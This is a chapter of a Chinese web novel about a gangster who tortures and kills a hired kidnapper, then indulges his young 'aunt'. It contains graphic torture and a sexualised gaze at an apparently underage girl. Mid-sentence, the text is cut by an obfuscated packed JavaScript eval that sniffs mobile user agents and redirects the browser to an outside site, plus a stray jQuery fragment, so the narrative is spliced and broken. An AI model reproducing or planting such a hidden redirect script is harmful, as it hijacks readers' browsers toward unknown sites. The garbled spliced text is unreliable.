虞朝先看了两眼处理的还算利索的擦伤:“明明会包扎,上次在车上为什么还要让你哥哥擦药。”
虞棠没想到他扯回到这么久之前的事,“那是因为......因为有人帮忙包扎,会有种被人关心的感觉。”她就是喜欢被哥哥关心的感觉,所以即使只有一点点疼,她也喊成十分疼。
虞朝先思绪又回到刚才“关心”的话题上,虞棠果然是想让他体验被关心的感觉。虞朝先嗤笑一声,看穿虞棠的小伎俩,不过他懒得和小女孩的心思计较,只是这样可讨好不了他。
不过,也谈不上讨厌,随她瞎琢磨。
这时虞朝先手机来了电话,是陈调打来的。
“老大,问出来了,那杀手是李响派来的,李响和虞伯有私仇,虞伯之前杀了他儿子。”
“嗯,知道了。”虞朝先挂断了电话,他从碎裂的后视镜看了眼,地上像有蛆在爬。
被虞棠抬握住的手顺势在她脑门点了下,“老实的在车上等我。”
虞棠想跟过去,被他一手指戳回去。
被打穿双腿的那人艰难的往路口爬,手指就快要碰到摔出去的手机。
遒劲的长腿停在手机前。
“啊——!”中枪的人发出惨叫,他的手被虞朝先抬脚踩住。
虞朝先在那只手上随意的碾了碾,姿态从容极了,丝毫不在意那骨头断裂的声音,他蹲下身,把玩着那把枪,“就你有手会开枪是吧?”
“不、不要......啊!”这人的嚎叫声在夜色里尤为刺耳。
虞朝先用这把刚才偷袭虞棠的枪将这人手掌打烂成了筛子。车上的虞棠听见声音,她回头往后视镜望去,其实她什么也看不到,但是能听到清晰的对话和惨叫,她四处扫了眼,周围一片漆黑,一阵劲风扫过有小碎石砸在车玻璃上,阴森又吓人。
虞朝先耐心有限,他给枪重新上了子弹:“说吧,谁派你们来的。”
“不、不要杀我,我们也只是奉命行事。”
虞朝先嘭一枪,打穿他另一只手腕。
“我真的对上面的安排一无所知啊......”
虞朝先嘴角玩味:“想好了啊,再不说我就打烂你左手,还嘴硬就打烂你右腿,每天像个人彘一样活着,生活也挺有趣嘛不是。”
在这人痛苦的呜呜咽咽的求饶声里,虞朝先忽然来了句:“不是让你在车上等着吗?”
虞棠的脚步在他身后停下,小声的说:“我在车上害怕。”
虞朝先把这话品味了一番,在车上害怕所以要跟在他身边,意思是在他旁边就不害怕。这小姑姑关键时候倒是不傻,知道靠山是谁。
真麻烦。虞朝先起身,高大的身影挡住了虞棠想探究的视线。既然想跟着他,那就跟着吧。
虞朝先吐出最后一口烟雾,掐灭了烟尾,转身和虞棠隔着烟雾对视。
下一秒虞棠那双黑漉漉漂亮的眸子就被一张温暖干燥的大手捂住,虞朝先伸手盖住她眼睛。
地上那人在血泊和断肢离爬,他完全是拿钱办事,撑不住这样的拷问,话和嘴里的血一块吐出来:“我、我说了你就能放我一命吗?”
虞朝先笑得很好看,很难不让人迷惑,“当然。”
“是雇主让我们来绑架照片上的女孩,用来威胁虞延庭。”
虞朝先胳膊上传来陌生的柔软,垂着的目光飘向紧紧抱着他胳膊不松手的虞棠,脑海有一瞬间的闪回到了阳台晾的衣物,比想象中的尺码要有料一点。也或者校服和睡裙都大了一码,混淆了实际。
虞朝先俯身凑在她耳边,“听到了吗,原来是你哥的仇人,合着我算是被连累的呗。”
涉及到哥哥,胆小的虞棠忽然停止了哽咽,声音稳下来质问:“你们雇主,为、为什么要打我哥哥的主意?”
虞朝先倒是一点也不意外,自己那个爹现在看着像个好人,年轻时候干的事也没比他好多少,所以仇家可不少。
地上那人又开始不说话了,虞朝先踢了他脑袋一脚,十分不耐烦:“我小姑姑问你话呢,还不回话,舌头也不想要了?”
即使被捂住眼睛,她也下意识歪头往他一侧抬了眼,虞朝先几时会愿意叫她小姑姑,又是在外人面前揶揄她年龄小却能当他姑姑呢。
“我说我说!”手脚残废的失血过多让这人快没了意识,他断断续续说了个名字,“是李、李响!”
果然是李响,那晚的杀手也是李响的人。
李响是近几年异常活跃的军火商,生意是做的越来越大,现在已经是远远超过虞氏。
虞朝先嗤笑一声,这还真是自己那老爹的报应。虞延庭弄残人家儿子,人家就要来绑架他妹妹,倒也是一报还一报。
虞朝先看了眼虞棠,小姑姑嘴咬的发白。他有个疑问又踢了脚地上的人:“那都是几年前的老黄历了,怎么现在才想着报仇绑人?”
那人被踢,疼的又恢复了点精神:“......我们老大这些年一直在国外陪着少爷看病,可少爷在前不久还是没了,少爷没了之后老大也没了后顾之忧,就想和虞延庭拼个你死我活,老大一直在找机会,可是虞延庭身边一直有关钟鹏跟着没法下手,跟踪好久天,发现虞延庭还有个妹妹,老大就想以彼之道还彼之身,用他妹妹来折磨他......”
听到“折磨”,虞棠倏地抓紧了虞朝先的手腕,她抬手拿掉了虞朝先遮在眼前的手,看见了地上被折磨的面目全非的人。
以彼之道还彼之身......虞棠下意识看向虞朝先。
虞朝先只当她是被吓得看他,他把手里的枪放虞棠手里,一起握住,在她身后低头凑在她耳边,“这人是活是死,就是你食指一勾的事。”
虞棠没有多考虑,就连一直害怕发颤的身体也不抖了,她缓缓抬起握枪的手,对上那双和她一样黑邃又冷漠的眼眸:“伤害虞家人的,都不能活。”
她给的回答很明显。
虞朝先眸色倏紧,刚才还胆小怕死的虞棠在面对威胁到虞延庭的存在时,脸上露出完全不属于她这个年纪的冷血和狠戾。
握枪的手明明在抖,可仍旧没有半分退缩的意思。
虞朝先揉了把虞棠的头发,这一下把女孩扎头发的发圈给勾掉,黑色的长发霎时随风飘曳。
甜甜的香气冲淡了此处的血腥味。
虞朝先拿开枪,哄小孩似的:“乖,去车上等我。”
虞棠被迫转身的瞬间,听见了枪响。
陈调很快开车赶来,虞朝先让他把尸体处理了,往车那边走时又顺带交代了句:“去把五年前和老爷子抢生意的李响揪出来。”
陈调对这事有印象,那李响不满生意被抢,纵容儿子来虞家的场子闹事,最后李响的儿子下半身都给打成残废,李响还骂虞延庭是想让他绝后。
出于对虞朝先的安全考虑陈调另安排了车送虞朝先回去。
“不用。”虞朝先大步朝车上的人走去,走出一步后又停下,“先挑出两个身手好的心思细腻的出来。”
关于虞朝先的一切指令,陈调都是服从先于疑问。不过这次,虞朝先似乎没想提前告诉陈调挑出两个身手好的还要心思细腻的人做什么。
留下这句话,虞朝先就匆匆走了。
陈调在地上看见个被打穿的蝴蝶结。这蝴蝶结不是地上躺着的人的,也不可能是老大的。
也就是说,老大车上还有人,而且还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208239|181341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个女的!老大这么着急走,就是为了车上那女的!
陈调下意识往车上看,可惜副驾驶的人儿被虞朝先的身影遮挡了个严严实实,只瞥见了散在窗口的黑色长发,还有一只纤细白皙的手在虞朝先领口上点了点。
从后面陈调的角度看去,像是女孩的手臂直接搂着在老大脖子上。
陈调自诩不是个八卦的人,他立刻拿出手机给米奇打电话,问老大是不是有女人了。
先不说在医院盯梢的米奇是有任务,就是没有任务他也不会透露虞朝先半分私事,听见陈调在问废话,他直接挂掉电话。挂了电话的米奇忽然想起那位喜欢吃芒果糯米饭的老大的小姑姑。
老大的小姑姑,算是老大的女人吗?
小姑姑=女人。
所以老大的小姑姑=老大的女人。
米奇在心底等量换算了一番,发现居然行得通。
虞朝先回到车上,虞棠看见他衬衣上有一点红色的印子。
虞棠抱着鲨鱼玩偶,把手里的外套还给虞朝先:“是干净的,我一直抱着,没有弄脏。”
虞朝先后知后觉,原来这哭包以为是让她拿好衣服,真是蠢得有够......有够......
这时毁坏的娃娃机发着机械的声音:“可爱!beauty!”
见鬼的可爱。
“能借给我十块钱吗?”虞棠这次很直接的就朝虞朝先开了口,“我回去用小猪存钱罐的钱还你。”
虞朝先目光落在她摊开的手心上,“要钱干嘛。”
虞棠抱紧怀里的鲨鱼,看着虞朝先,“想要它。”
虞朝先临开车前,又下车了一趟,去了娃娃机前,投了枚硬币。
视线瞧见虞朝先下车,陈调以为他有安排,陈调赶紧跑过去,刚跑出去半步,就看清了车上的女人......不对,是女孩!
不是吧,老大还给这女孩抓娃娃?什么来路?
拧断娃娃头还差不断!
陈调的视线一直追随着自己老大,所以他清晰的看见,虞朝先的目光一直在车里的女孩身上。
虞棠仰起小脸,趴在车窗,和怀里的那只鲨鱼玩偶一起朝着虞朝先的方向看,白皙的手指挥虞朝先再多投几张纸币:“再给一张,人家损失可大了。”
虞朝先不乐意了,冷着脸走到虞棠的车窗旁,捏皱人家小脸:“小姑姑,敢情是我的钱就随便花呗,把我当什么,提款机?我的钱是大风刮来的?你一开口我的钱就得被风吹走?”
“不、不是,”虞棠被捏着脸,说话含糊,“我回去还你。”
虞朝先来了兴趣:“哦,怎么还?”
“就、就和之前一样,帮你做够十件事怎么样?”
“十件?想得美。”虞朝先捏着她的脸不松,摸抢摸习惯了,捏虞棠的脸只觉得指尖过于滑腻,“你不是说有个小猪存钱罐?回去给我。”
“啊!”虞棠艰难摇头,“这都是我好不容易存的压岁钱......”
“少废话,回去先给我泡杯水。”
虞棠问:“白开水吗?”
虞朝先扯她嘴角:“有没有良心,谁救的你?泡什么水自己想。”
“你救的我。”虞棠看了眼虞朝先,好像不是真生气的表情,她也确实想谢谢他,虞朝先不仅救了她还救了哥哥,“那蜂蜜柠檬水可以吗,我最会泡这个。”
不远处的陈调听见虞朝先嘴里喊出“小姑姑”三个字,吓得差点把舌头给咬了。他一直都知道老大不喜欢这个小姑姑,但这个“不喜欢”的相处模式,也太诡异了吧。
在老大欺负小孩和老大对女人调情的选项里,陈调在心中敲着木鱼,选择相信前者。